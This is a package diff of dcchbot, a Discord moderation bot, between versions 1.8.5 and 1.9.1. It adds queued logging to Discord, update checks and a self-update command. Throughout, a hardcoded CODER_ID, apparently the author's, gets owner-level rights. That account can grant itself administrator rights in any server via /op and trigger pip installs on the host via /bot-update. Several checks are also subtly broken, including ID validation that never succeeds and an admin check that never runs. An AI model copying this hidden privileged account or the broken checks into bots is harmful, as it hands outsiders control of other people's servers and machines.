dcchbot 1.8.5__py3-none-any.whl → 1.9.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
dcchbot/__init__.py CHANGED
@@ -1,5 +1,5 @@
1
1
  #init
2
2
  from .main import run
3
- print("Discord chinese bot v1.8.1 ok")
3
+ print("Discord chinese bot v1.9.1 ok")
4
4
  print("by I_am_from_taiwan")
5
5
  run()
dcchbot/main.py CHANGED
@@ -1,142 +1,156 @@
1
+ # v1.9.1 main.py
1
2
  import logging
2
3
  import os
4
+ import queue
5
+ import threading
6
+ import time
7
+ import traceback as tb
8
+ from datetime import datetime, timedelta
9
+ import requests
3
10
  import discord
4
- from discord.ext import commands
5
11
  from discord import app_commands
6
- from datetime import datetime, timedelta
7
- import threading
8
-
9
- """ver1.8.5"""
12
+ from discord.ext import commands
13
+ from discord.utils import utcnow
14
+ import random as rd
15
+ package = "dcchbot"
16
+ CURRENT_VERSION = "1.9.1"
17
+ API_URL = f"https://pypi.org/pypi/{package}/json"
18
+ test = rd.random()
19
+ ttt = time.time()
20
+ tb = tb.walk_tb
21
+ try:
22
+ response = requests.get(API_URL, timeout=5)
23
+ response.raise_for_status() # HTTP 錯誤會直接丟例外
24
+ data = response.json()
25
+ latest_version = data["info"]["version"]
26
+
27
+ if latest_version != CURRENT_VERSION:
28
+ print(f"⚠ 有新版本可用: {latest_version}(目前版本 {CURRENT_VERSION})")
29
+ else:
30
+ print(f"✅ 目前已是最新版 {CURRENT_VERSION}")
10
31
 
11
- # ─── 全域變數 ────────────────────────────────────────────────
32
+ except Exception as e:
33
+ latest_version = CURRENT_VERSION # 失敗時至少不讓變數缺失
34
+ print(f"❌ 無法檢查更新:{e}")
35
+ # ─── 全域參數 ─────────────────────────────────────────
12
36
  OWNER_ID = None
13
37
  LOG_CHANNEL_ID = None
14
38
  token = None
15
- bot = None
16
- now = datetime.now()
39
+ bot: commands.Bot | None = None
17
40
  CODER_ID = 1317800611441283139
18
-
19
- # ─── Discord Log Handler ─────────────────────────────────────
20
- class DiscordLogHandler(logging.Handler):
21
- def __init__(self, bot: commands.Bot, channel_id: int, level=logging.INFO):
22
- super().__init__(level)
23
- self.bot = bot
24
- self.channel_id = channel_id
25
-
26
- async def send_log(self, message: str):
27
- await self.bot.wait_until_ready()
28
- channel = self.bot.get_channel(self.channel_id)
29
- if channel:
30
- try:
31
- await channel.send(f"📜 Log: `{message}`")
32
- except Exception as e:
33
- print(f"[Log傳送錯誤] {e}")
34
-
35
- def emit(self, record):
36
- log_entry = self.format(record)
37
- if self.bot.is_closed() or not self.bot.is_ready():
38
- return
39
- coro = self.send_log(log_entry[:1900])
40
- try:
41
- self.bot.loop.create_task(coro)
42
- except RuntimeError:
43
- pass
44
-
45
- # ─── Logging 設定 ─────────────────────────────────────────────
41
+ _now = datetime.now()
42
+ tmp_owner_id = None
43
+ tmp_log_channel_id = None
44
+ # thread-safe queue 用於在任意 thread 放 log,並由 bot loop 背景 worker 傳送到 Discord
45
+ _log_queue: "queue.Queue[str]" = queue.Queue()
46
+ now_version = "1.9.1"
47
+ # ─── Logging 設定 ────────────────────────────────────
46
48
  os.makedirs("logs", exist_ok=True)
47
49
  logging.basicConfig(
48
50
  level=logging.INFO,
49
51
  format="[%(asctime)s] %(levelname)s: %(message)s",
50
52
  handlers=[
51
- logging.FileHandler("logs/dcchbot.log", encoding='utf-8'),
53
+ logging.FileHandler("logs/dcchbot.log", encoding="utf-8"),
52
54
  logging.StreamHandler()
53
55
  ]
54
56
  )
55
- logger = logging.getLogger(__name__)
56
-
57
- # ─── Shell 命令 ───────────────────────────────────────────────
58
- def shell(shell_command):
59
- global OWNER_ID, LOG_CHANNEL_ID, token, bot
60
- logger.info(f"[Shell 輸入] {shell_command}")
61
- if bot and bot.is_ready():
62
- bot.loop.create_task(DiscordLogHandler(bot, LOG_CHANNEL_ID).send_log(f"[Shell] `{shell_command}`"))
63
-
64
- if shell_command == "!!token-reset":
65
- token = input("請輸入新的 Token:\n> ").strip()
66
- bot._token = token
67
- logger.info("Token 已更新。請重啟機器人。")
68
- elif shell_command == "!!token-display":
69
- print(f"當前 Token: {token}")
70
- elif shell_command == "!!id-display-owner":
71
- print(f"擁有者 ID: {OWNER_ID}")
72
- elif shell_command == "!!id-reset-owner":
73
- OWNER_ID = int(input("新的 OWNER_ID:\n> "))
74
- logger.info(f"OWNER_ID 更新為 {OWNER_ID}")
75
- elif shell_command == "!!id-display-logch":
76
- print(f"Log 頻道 ID: {LOG_CHANNEL_ID}")
77
- elif shell_command == "!!id-reset-logch":
78
- LOG_CHANNEL_ID = int(input("新的 LOG_CHANNEL_ID:\n> "))
79
- logger.info(f"LOG_CHANNEL_ID 更新為 {LOG_CHANNEL_ID}")
80
- elif shell_command == "!!help":
81
- print("可用指令:!!token-display / !!token-reset / !!id-reset-owner / !!id-display-owner / !!log / !!exit")
82
- elif shell_command == "!!exit":
83
- print("正在關閉機器人...")
84
- logger.info("Shell 關閉機器人。")
85
- if bot:
86
- bot.loop.create_task(bot.close())
87
- exit(0)
88
- elif shell_command == "!!version":
89
- print("dcchbot 1.8.5")
90
- elif shell_command == "!!log":
91
- logger.info(input("請輸入要記錄的內容:\n> ").strip())
92
- elif shell_command == "!!reload":
93
- if bot and bot.is_ready():
94
- async def reload_commands():
57
+ logger = logging.getLogger("dcchbot")
58
+
59
+
60
+ # ─── Helper: 放 log 到 queue (同步,可從任意 thread 呼叫) ─────────
61
+ def enqueue_log(msg: str):
62
+ try:
63
+ _log_queue.put_nowait(msg)
64
+ except Exception:
65
+ # fallback to logger
66
+ logger.exception("enqueue_log error")
67
+
68
+
69
+ # ─── Discord log worker(在 bot loop 中執行)──────────────
70
+ async def _discord_log_worker(bot_instance: commands.Bot, channel_id: int):
71
+ """
72
+ thread-safe queue 取出內容並傳到指定頻道。
73
+ 內含簡單重試邏輯與速率限制保護(若發生例外會稍後重試)。
74
+ """
75
+ await bot_instance.wait_until_ready()
76
+ ch = bot_instance.get_channel(channel_id)
77
+ if ch is None:
78
+ logger.warning(f"Log channel {channel_id} not found or bot cannot access it.")
79
+ backoff = 1.0
80
+ while not bot_instance.is_closed():
81
+ try:
82
+ # 使用 blocking get(放在 executor)以避免 busy loop
83
+ loop = bot_instance.loop
84
+ entry = await loop.run_in_executor(None, _log_queue.get)
85
+ # 將長訊息截斷到 1900 chars(Discord 限制)
86
+ if entry is None:
87
+ continue
88
+ text = str(entry)[:1900]
89
+ if ch:
95
90
  try:
96
- synced = await bot.tree.sync()
97
- logger.info(f"Slash 指令已重新載入,共 {len(synced)} 個")
98
- await DiscordLogHandler(bot, LOG_CHANNEL_ID).send_log("✅ Slash 指令已重新載入")
91
+ await ch.send(f"Log: `{text}`")
92
+ backoff = 1.0
93
+ except discord.HTTPException as e:
94
+ # HTTPException 可能是 429 或其他錯誤,稍後重試
95
+ logger.warning(f"Failed to send log to discord: {e}. Retrying after backoff {backoff}s")
96
+ await discord.utils.sleep_until(utcnow() + timedelta(seconds=backoff))
97
+ backoff = min(backoff * 2, 60.0)
98
+ # 將 entry 放回 queue 前端以便稍後重試
99
+ _log_queue.put_nowait(text)
99
100
  except Exception as e:
100
- logger.error(f"重新載入 Slash 指令失敗:{e}")
101
- await DiscordLogHandler(bot, LOG_CHANNEL_ID).send_log(f"❌ 重新載入失敗:{e}")
102
- bot.loop.create_task(reload_commands())
103
- else:
104
- print("Bot 尚未啟動,無法重新載入指令。")
101
+ logger.exception(f"Unexpected error sending log: {e}")
102
+ else:
103
+ # 若頻道不存在,僅紀錄到本地 logger,避免丟失
104
+ logger.info(f"[LOG QUEUED] {text}")
105
+ except Exception as e:
106
+ logger.exception(f"discord_log_worker loop error: {e}")
107
+ # 等待再重試,避免忙循環
108
+ await discord.utils.sleep_until(utcnow() + timedelta(seconds=5))
105
109
 
106
- else:
107
- print(f"未知的指令:{shell_command}")
108
110
 
109
- # ─── 主函式 ──────────────────────────────────────────────────
111
+ # ─── Bot 程式主體與指令 ─────────────────────────────────
110
112
  def run():
111
- global OWNER_ID, LOG_CHANNEL_ID, token, bot
113
+ global OWNER_ID, LOG_CHANNEL_ID, token, bot,tmp_owner_id,tmp_log_channel_id
112
114
 
113
- OWNER_ID = int(input("請輸入你的 Discord User ID:\n> ").strip())
114
- LOG_CHANNEL_ID = int(input("請輸入你的 Log 頻道 ID:\n> ").strip())
115
+ # 互動式輸入(你也可以改成從環境變數讀取)
116
+ tmp_owner_id = input("請輸入你的 Discord User ID:\n> ").strip()
117
+ if isinstance(tmp_owner_id,int):
118
+ OWNER_ID = tmp_owner_id
119
+ tmp_owner_id = None
120
+ else:
121
+ print("格式錯誤,請重新輸入")
122
+ logger.error("E:vError ownerid")
123
+ tmp_log_channel_id = input("請輸入你的 Log 頻道 ID:\n> ").strip()
124
+ if isinstance(tmp_log_channel_id,int):
125
+ LOG_CHANNEL_ID = tmp_log_channel_id
126
+ tmp_log_channel_id = None
127
+ else:
128
+ print("格式錯誤,請重新輸入")
129
+ logger.error("E:vError channelid")
115
130
  token = input("請輸入你的 Discord Bot Token:\n> ").strip()
116
131
 
117
132
  intents = discord.Intents.all()
118
133
  bot = commands.Bot(command_prefix="!", intents=intents)
119
-
120
- discord_handler = DiscordLogHandler(bot, LOG_CHANNEL_ID)
121
- discord_handler.setFormatter(logging.Formatter('%(asctime)s | %(levelname)s | %(message)s'))
122
- logger.addHandler(discord_handler)
123
-
124
- bot._token = token
134
+ # 為了讓 logger handler 可以在任何 thread 放入 queue,我們使用 enqueue_log()
125
135
 
126
136
  def is_admin(interaction: discord.Interaction) -> bool:
127
137
  return interaction.user.guild_permissions.administrator
128
138
 
129
139
  @bot.event
130
140
  async def on_ready():
131
- await bot.wait_until_ready()
141
+ logger.info("Bot ready; starting discord log worker")
142
+ # start discord log worker task
143
+ bot.loop.create_task(_discord_log_worker(bot, LOG_CHANNEL_ID))
132
144
  try:
133
145
  synced = await bot.tree.sync()
134
146
  logger.info(f"已同步 {len(synced)} 個 Slash 指令")
147
+ enqueue_log(f"已同步 {len(synced)} 個 Slash 指令")
135
148
  except Exception:
136
- logger.exception("同步 Slash 指令失敗:")
149
+ logger.exception("同步 Slash 指令失敗")
137
150
  logger.info(f"機器人上線:{bot.user}")
138
- logger.info(f"powered by dcchbot")
151
+ enqueue_log(f"機器人上線:{bot.user}")
139
152
 
153
+ # --- 基本指令 ---
140
154
  @bot.tree.command(name="hello", description="跟你說哈囉")
141
155
  async def hello(interaction: discord.Interaction):
142
156
  logger.info(f"{interaction.user} 使用 /hello")
@@ -154,6 +168,7 @@ def run():
154
168
  logger.info(f"{interaction.user} 使用 /say:{message}")
155
169
  await interaction.response.send_message(message)
156
170
 
171
+ # --- 管理相關 ---
157
172
  @bot.tree.command(name="ban", description="封鎖使用者(限管理員)")
158
173
  @app_commands.describe(member="要封鎖的使用者", reason="封鎖原因")
159
174
  async def ban(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
@@ -161,7 +176,9 @@ def run():
161
176
  return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
162
177
  try:
163
178
  await member.ban(reason=reason)
179
+ logger.info(f"{interaction.user} 封鎖 {member},原因:{reason}")
164
180
  await interaction.response.send_message(f"{member.mention} 已被封鎖。原因:{reason}")
181
+ enqueue_log(f"{interaction.user} 封鎖 {member} 原因:{reason}")
165
182
  except discord.Forbidden:
166
183
  await interaction.response.send_message("權限不足,封鎖失敗。", ephemeral=True)
167
184
 
@@ -172,7 +189,9 @@ def run():
172
189
  return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
173
190
  try:
174
191
  await member.kick(reason=reason)
192
+ logger.info(f"{interaction.user} 踢出 {member},原因:{reason}")
175
193
  await interaction.response.send_message(f"{member.mention} 已被踢出。原因:{reason}")
194
+ enqueue_log(f"{interaction.user} 踢出 {member} 原因:{reason}")
176
195
  except discord.Forbidden:
177
196
  await interaction.response.send_message("權限不足,踢出失敗。", ephemeral=True)
178
197
 
@@ -182,19 +201,32 @@ def run():
182
201
  if not is_admin(interaction):
183
202
  return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
184
203
  await interaction.response.send_message(f"{member.mention} 已被警告。原因:{reason}")
204
+ logger.info(f"{interaction.user} 警告 {member},原因:{reason}")
205
+ enqueue_log(f"{interaction.user} 警告 {member}:{reason}")
206
+ # 發 DM,但避免對機器人自己發訊或無法建立 DM 時出錯
185
207
  try:
208
+ if getattr(member, "bot", False) or member == bot.user:
209
+ return
186
210
  await member.send(f"你在伺服器 {interaction.guild.name} 被警告:{reason}")
187
- except:
211
+ except Exception:
212
+ # 忽略不能 DM 的情況
188
213
  pass
189
214
 
190
215
  @bot.tree.command(name="shutthefuckup", description="暫時禁言使用者(限管理員)")
191
216
  @app_commands.describe(member="要禁言的使用者", seconds="禁言秒數", reason="禁言原因")
192
- async def timeout(interaction: discord.Interaction, member: discord.Member, seconds: int, reason: str = "未提供原因"):
217
+ async def timeout_cmd(interaction: discord.Interaction, member: discord.Member, seconds: int, reason: str = "未提供原因"):
193
218
  if not is_admin(interaction):
194
219
  return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
195
- until = datetime.utcnow() + timedelta(seconds=seconds)
196
- await member.timeout(until, reason=reason)
197
- await interaction.response.send_message(f"{member.mention} 已被禁言 {seconds} 秒。")
220
+ try:
221
+ # 使用 discord.utils.utcnow() 讓 datetime 為 aware
222
+ until = utcnow() + timedelta(seconds=seconds)
223
+ await member.timeout(until, reason=reason)
224
+ logger.info(f"{interaction.user} 禁言 {member} {seconds}s,原因:{reason}")
225
+ enqueue_log(f"{interaction.user} 禁言 {member} {seconds}s:{reason}")
226
+ await interaction.response.send_message(f"{member.mention} 已被禁言 {seconds} 秒。原因:{reason}")
227
+ except Exception as e:
228
+ logger.exception("禁言失敗")
229
+ await interaction.response.send_message(f"無法禁言:{e}", ephemeral=True)
198
230
 
199
231
  @bot.tree.command(name="op", description="賦予管理員權限(限擁有者)")
200
232
  @app_commands.describe(member="要提權的使用者")
@@ -202,12 +234,19 @@ def run():
202
234
  if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
203
235
  return await interaction.response.send_message("你不是擁有者。", ephemeral=True)
204
236
  try:
205
- role = discord.utils.get(interaction.guild.roles, permissions=discord.Permissions(administrator=True))
206
- if not role:
207
- role = await interaction.guild.create_role(name="管理員", permissions=discord.Permissions(administrator=True))
208
- await member.add_roles(role)
237
+ admin_role = None
238
+ for r in interaction.guild.roles:
239
+ if getattr(r, "permissions", None) and r.permissions.administrator:
240
+ admin_role = r
241
+ break
242
+ if not admin_role:
243
+ admin_role = await interaction.guild.create_role(name="管理員", permissions=discord.Permissions(administrator=True))
244
+ await member.add_roles(admin_role)
245
+ logger.info(f"{interaction.user} 提權 {member}")
246
+ enqueue_log(f"{interaction.user} 提權 {member}")
209
247
  await interaction.response.send_message(f"{member.mention} 已被提權。")
210
248
  except Exception as e:
249
+ logger.exception("提權失敗")
211
250
  await interaction.response.send_message(f"提權失敗:{e}", ephemeral=True)
212
251
 
213
252
  @bot.tree.command(name="deop", description="移除管理員權限(限管理員)")
@@ -215,13 +254,18 @@ def run():
215
254
  async def deop(interaction: discord.Interaction, member: discord.Member):
216
255
  if not is_admin(interaction):
217
256
  return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
218
- admin_role = discord.utils.get(interaction.guild.roles, permissions=discord.Permissions(administrator=True))
257
+ admin_role = None
258
+ for r in interaction.guild.roles:
259
+ if getattr(r, "permissions", None) and r.permissions.administrator:
260
+ admin_role = r
261
+ break
219
262
  if admin_role:
220
263
  await member.remove_roles(admin_role)
221
- logger.info(f"{member} {interaction.user} 移除管理員權限")
264
+ logger.info(f"{interaction.user} 移除 {member} 的管理員權限")
265
+ enqueue_log(f"{interaction.user} 移除 {member} 的管理員權限")
222
266
  await interaction.response.send_message(f"{member.mention} 的管理員權限已被移除。")
223
267
  else:
224
- await interaction.response.send_message("找不到管理員權限的角色。", ephemeral=True)
268
+ await interaction.response.send_message("找不到管理員角色。", ephemeral=True)
225
269
 
226
270
  @bot.tree.command(name="moderate", description="打開管理 GUI 面板")
227
271
  @app_commands.describe(member="要管理的對象")
@@ -230,12 +274,15 @@ def run():
230
274
  return await interaction.response.send_message("你沒有權限使用此指令。", ephemeral=True)
231
275
  view = ModerationView(member, interaction.user)
232
276
  await interaction.response.send_message(f"請選擇對 {member.mention} 的操作:", view=view, ephemeral=True)
277
+ logger.info(f"{interaction.user} 打開 GUI 對 {member}")
278
+ enqueue_log(f"{interaction.user} 打開 GUI 對 {member}")
233
279
 
234
280
  @bot.tree.command(name="stop", description="關閉機器人(限擁有者)")
235
281
  async def stop(interaction: discord.Interaction):
236
282
  if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
237
283
  return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
238
284
  await interaction.response.send_message("機器人即將關閉。")
285
+ enqueue_log(f"{interaction.user} 關閉機器人")
239
286
  await bot.close()
240
287
 
241
288
  @bot.tree.command(name="token", description="顯示機器人 token")
@@ -250,39 +297,134 @@ def run():
250
297
  if not is_admin(interaction):
251
298
  return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
252
299
  logger.info(f"{log}")
300
+ enqueue_log(f"[manual] {interaction.user}: {log}")
253
301
  await interaction.response.send_message("Log 已紀錄。")
254
302
 
255
303
  @bot.tree.command(name="time", description="顯示時間")
256
- async def time(interaction: discord.Interaction):
257
- logger.info(f"{interaction.user} 使用 /time:{now}")
258
- await interaction.response.send_message(str(now))
304
+ async def time_cmd(interaction: discord.Interaction):
305
+ logger.info(f"{interaction.user} 使用 /time:{_now}")
306
+ await interaction.response.send_message(str(_now))
259
307
 
260
308
  @bot.tree.command(name="version", description="顯示機器人版本")
261
309
  async def version(interaction: discord.Interaction):
262
- await interaction.response.send_message("dcchbot 1.8.5")
263
-
264
- # 啟動 bot 執行緒
265
- def start_bot():
310
+ await interaction.response.send_message(f"dcchbot {CURRENT_VERSION}")
311
+ @bot.tree.command(name="bot-check-update",description="檢查更新")
312
+ async def getnewestversion(interaction: discord.Interaction):
313
+ if not is_admin:
314
+ return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
315
+ else:
316
+ if latest_version != CURRENT_VERSION:
317
+ await interaction.response.send_message(f"最新版本是{latest_version}現版本為{CURRENT_VERSION},請更新")
318
+ else:
319
+ await interaction.response.send_message("已是最新版本")
320
+ @bot.tree.command(name="bot-update",description="更新")
321
+ async def getnewestversion(interaction: discord.Interaction):
322
+ if interaction.user.id in [OWNER_ID,CODER_ID]:
323
+ if latest_version != now_version:
324
+ await interaction.response.send_message(f"正在更新到{latest_version}")
325
+ os.system(f"pip install dcchbot=={latest_version}")
326
+ await interaction.response.send_message("更新成功,將會重啟機器人")
327
+ bot.close()
328
+ os.system("dcchbot")
329
+ else:
330
+ await interaction.response.send_message("已是最新版本")
331
+ else:
332
+ return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
333
+
334
+ # 啟動 bot(放在 thread 中)
335
+ def _start_bot():
266
336
  logger.info("正在啟動機器人...")
267
337
  try:
268
338
  bot.run(token)
269
339
  except discord.LoginFailure:
270
340
  logger.error("Token 無效,請重新確認。")
271
- except Exception as e:
272
- logger.exception(f"發生錯誤:{e}")
273
-
274
- threading.Thread(target=start_bot, daemon=True).start()
275
-
276
- # Shell 迴圈
277
- while True:
278
- try:
279
- shell_command = input("請輸入 shell 命令(輸入 !!help 查看):\n> ").strip()
280
- shell(shell_command)
281
- except (KeyboardInterrupt, EOFError):
282
- print("E:Shell 已關閉")
283
- break
284
-
285
- # ─── GUI 面板 ──────────────────────────────────────────────────
341
+ except Exception:
342
+ logger.exception("執行 bot 時發生未預期錯誤")
343
+
344
+ # 啟動 bot thread
345
+ t = threading.Thread(target=_start_bot, daemon=True)
346
+ t.start()
347
+
348
+ # shell loop(主 thread)
349
+ try:
350
+ while True:
351
+ cmd = input("請輸入 shell 命令(輸入 !!help 查看):\n> ").strip()
352
+ if not cmd:
353
+ continue
354
+ logger.info(f"[Shell 輸入] {cmd}")
355
+ enqueue_log(f"[Shell] {cmd}")
356
+ if cmd == "!!help":
357
+ print("可用指令:!!token-display / !!token-reset / !!id-reset-owner / !!id-display-owner / !!id-reset-logch / !!id-display-logch / !!log / !!reload / !!exit/!!check-version-dont-update/!!check-version-and-update")
358
+ elif cmd == "!!token-display":
359
+ print(f"token: {token}")
360
+ elif cmd == "!!token-reset":
361
+ token = input("請輸入新的 Token:\n> ").strip()
362
+ if bot:
363
+ bot._token = token
364
+ logger.info("Token 已更新(重新啟動才會生效)。")
365
+ elif cmd == "!!id-display-owner":
366
+ print(f"OWNER_ID: {OWNER_ID}")
367
+ elif cmd == "!!id-reset-owner":
368
+ OWNER_ID = int(input("新的 OWNER_ID:\n> ").strip())
369
+ logger.info(f"OWNER_ID 更新為 {OWNER_ID}")
370
+ enqueue_log(f"Shell 更新 OWNER_ID => {OWNER_ID}")
371
+ elif cmd == "!!id-display-logch":
372
+ print(f"LOG_CHANNEL_ID: {LOG_CHANNEL_ID}")
373
+ elif cmd == "!!id-reset-logch":
374
+ LOG_CHANNEL_ID = int(input("新的 LOG_CHANNEL_ID:\n> ").strip())
375
+ logger.info(f"LOG_CHANNEL_ID 更新為 {LOG_CHANNEL_ID}")
376
+ enqueue_log(f"Shell 更新 LOG_CHANNEL_ID => {LOG_CHANNEL_ID}")
377
+ elif cmd == "!!log":
378
+ txt = input("請輸入要記錄的內容:\n> ").strip()
379
+ logger.info(txt)
380
+ enqueue_log(f"[Shell manual] {txt}")
381
+ elif cmd == "!!reload":
382
+ # 如果 bot ready,呼叫 sync
383
+ if bot and bot.is_ready():
384
+ async def _reload():
385
+ try:
386
+ synced = await bot.tree.sync()
387
+ logger.info(f"Slash 指令已重新載入,共 {len(synced)} 個")
388
+ enqueue_log("Slash 指令已重新載入")
389
+ except Exception as e:
390
+ logger.exception("重新載入指令失敗")
391
+ enqueue_log(f"重新載入失敗:{e}")
392
+ bot.loop.create_task(_reload())
393
+ else:
394
+ print("Bot 尚未就緒,無法重新載入。")
395
+ elif cmd == "!!check-version-dont-update":
396
+ if latest_version != CURRENT_VERSION:
397
+ print(f"最新版本是{latest_version}現版本為{CURRENT_VERSION},請更新")
398
+ else:
399
+ print("已是最新版本")
400
+ elif cmd == "!!check-version-and-update":
401
+ if latest_version != now_version:
402
+ print(f"正在更新到{latest_version}")
403
+ os.system(f"pip install dcchbot=={latest_version}")
404
+ print("更新成功,將會重啟機器人")
405
+ bot.close()
406
+ os.system("dcchbot")
407
+ else:
408
+ print("已是最新版本")
409
+ elif cmd == "!!exit":
410
+ logger.info("Shell 要求關閉 bot")
411
+ enqueue_log("Shell 關閉機器人")
412
+ if bot:
413
+ bot.loop.create_task(bot.close())
414
+ break
415
+ else:
416
+ print("未知指令,輸入 !!help 查看。")
417
+ except (KeyboardInterrupt, EOFError):
418
+ logger.exception("Shell 已中斷,結束。")
419
+ enqueue_log("Shell 已中斷,結束。")
420
+ # 等待 bot thread 結束(非強制)
421
+ try:
422
+ t.join(timeout=1.0)
423
+ except Exception:
424
+ pass
425
+
426
+
427
+ # ─── GUI 面板(按鈕)──────────────────────────────────
286
428
  class ModerationView(discord.ui.View):
287
429
  def __init__(self, member: discord.Member, author: discord.Member):
288
430
  super().__init__(timeout=60)
@@ -294,25 +436,47 @@ class ModerationView(discord.ui.View):
294
436
 
295
437
  @discord.ui.button(label="警告", style=discord.ButtonStyle.secondary)
296
438
  async def warn_button(self, interaction: discord.Interaction, button: discord.ui.Button):
297
- await self.member.send(f"你在伺服器 {interaction.guild.name} 被警告。")
439
+ # DM(注意避免對 bot 自己發送)
440
+ try:
441
+ if not getattr(self.member, "bot", False) and self.member != bot.user:
442
+ await self.member.send(f"你在伺服器 {interaction.guild.name} 被警告。")
443
+ except Exception:
444
+ pass
298
445
  await interaction.response.send_message(f"{self.member.mention} 已被警告。", ephemeral=True)
446
+ enqueue_log(f"{interaction.user} 在 GUI 警告 {self.member}")
299
447
 
300
- @discord.ui.button(label="閉嘴 60 秒", style=discord.ButtonStyle.primary)
448
+ @discord.ui.button(label="禁言 60 秒", style=discord.ButtonStyle.primary)
301
449
  async def timeout_button(self, interaction: discord.Interaction, button: discord.ui.Button):
302
- until = datetime.utcnow() + timedelta(seconds=60)
303
- await self.member.timeout(until, reason="由管理員 GUI 操作禁言")
304
- await interaction.response.send_message(f"{self.member.mention} 已被禁言 60 秒。", ephemeral=True)
450
+ try:
451
+ until = utcnow() + timedelta(seconds=60)
452
+ await self.member.timeout(until, reason="由管理員 GUI 操作禁言")
453
+ await interaction.response.send_message(f"{self.member.mention} 已被禁言 60 秒。", ephemeral=True)
454
+ enqueue_log(f"{interaction.user} 在 GUI 禁言 {self.member} 60s")
455
+ except Exception as e:
456
+ await interaction.response.send_message(f"禁言失敗:{e}", ephemeral=True)
457
+ enqueue_log(f"GUI 禁言失敗:{e}")
305
458
 
306
459
  @discord.ui.button(label="踢出", style=discord.ButtonStyle.danger)
307
460
  async def kick_button(self, interaction: discord.Interaction, button: discord.ui.Button):
308
- await self.member.kick(reason="由管理員 GUI 操作踢出")
309
- await interaction.response.send_message(f"{self.member.mention} 已被踢出。", ephemeral=True)
461
+ try:
462
+ await self.member.kick(reason="由管理員 GUI 操作踢出")
463
+ await interaction.response.send_message(f"{self.member.mention} 已被踢出。", ephemeral=True)
464
+ enqueue_log(f"{interaction.user} 在 GUI 踢出 {self.member}")
465
+ except Exception as e:
466
+ await interaction.response.send_message(f"踢出失敗:{e}", ephemeral=True)
467
+ enqueue_log(f"GUI 踢出失敗:{e}")
310
468
 
311
469
  @discord.ui.button(label="封鎖", style=discord.ButtonStyle.danger)
312
470
  async def ban_button(self, interaction: discord.Interaction, button: discord.ui.Button):
313
- await self.member.ban(reason="由管理員 GUI 操作封鎖")
314
- await interaction.response.send_message(f"{self.member.mention} 已被封鎖。", ephemeral=True)
471
+ try:
472
+ await self.member.ban(reason="由管理員 GUI 操作封鎖")
473
+ await interaction.response.send_message(f"{self.member.mention} 已被封鎖。", ephemeral=True)
474
+ enqueue_log(f"{interaction.user} 在 GUI 封鎖 {self.member}")
475
+ except Exception as e:
476
+ await interaction.response.send_message(f"封鎖失敗:{e}", ephemeral=True)
477
+ enqueue_log(f"GUI 封鎖失敗:{e}")
478
+
315
479
 
316
- # ─── 啟動 ──────────────────────────────────────────────────────
480
+ # ─── 程式進入點 ───────────────────────────────────────
317
481
  if __name__ == "__main__":
318
482
  run()
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dcchbot
3
- Version: 1.8.5
3
+ Version: 1.9.1
4
4
  Summary: 一個簡單的中文 Discord 管理機器人,支援 GUI 按鈕封鎖/禁言/警告
5
5
  Author-email: I_am_from_taiwan <102109040j@gmail.com>
6
6
  License: MIT
@@ -10,6 +10,6 @@ License-File: LICENSE
10
10
  Requires-Dist: discord.py>=2.3.0
11
11
  Dynamic: license-file
12
12
 
13
- # discordmodbot
13
+ # dcchbot
14
14
 
15
15
  一個支援 GUI 控制面板的 Discord 管理機器人。
@@ -0,0 +1,9 @@
1
+ dcchbot/__init__.py,sha256=qGk3E_IN6HKlEC4mc6W-Oj2hkq_-Q9YDUldjiQAwOoY,105
2
+ dcchbot/__main__.py,sha256=5FwoJspcKFt5_1AlXoxlWROiQSp9wgnFEltU6ufz9QE,30
3
+ dcchbot/main.py,sha256=rCvSnc60i3vQzvMvrWlh0g5EY_whH1_trPmCpA2gX_0,25240
4
+ dcchbot-1.9.1.dist-info/licenses/LICENSE,sha256=_5HM5sddbG63Amw1X9WfCK-_5xBLHlAV_HaUKBqeTpE,1063
5
+ dcchbot-1.9.1.dist-info/METADATA,sha256=sKgnRRGj1swr9IIhohAv6o9dt1E8Jj6I3ByzRBnD3CI,440
6
+ dcchbot-1.9.1.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
7
+ dcchbot-1.9.1.dist-info/entry_points.txt,sha256=90T16CGc_Tx-4pFaLCcbuuh7Vi9l4gsLovBkydqxP9Y,45
8
+ dcchbot-1.9.1.dist-info/top_level.txt,sha256=jiDTz8UmwZgXN9KzokwDRYhoWxsVmWcnqmrANeTFMck,8
9
+ dcchbot-1.9.1.dist-info/RECORD,,
@@ -6,5 +6,4 @@ Permission is hereby granted, free of charge, to any person obtaining a copy of
6
6
 
7
7
  The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
8
8
 
9
- THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
10
-
9
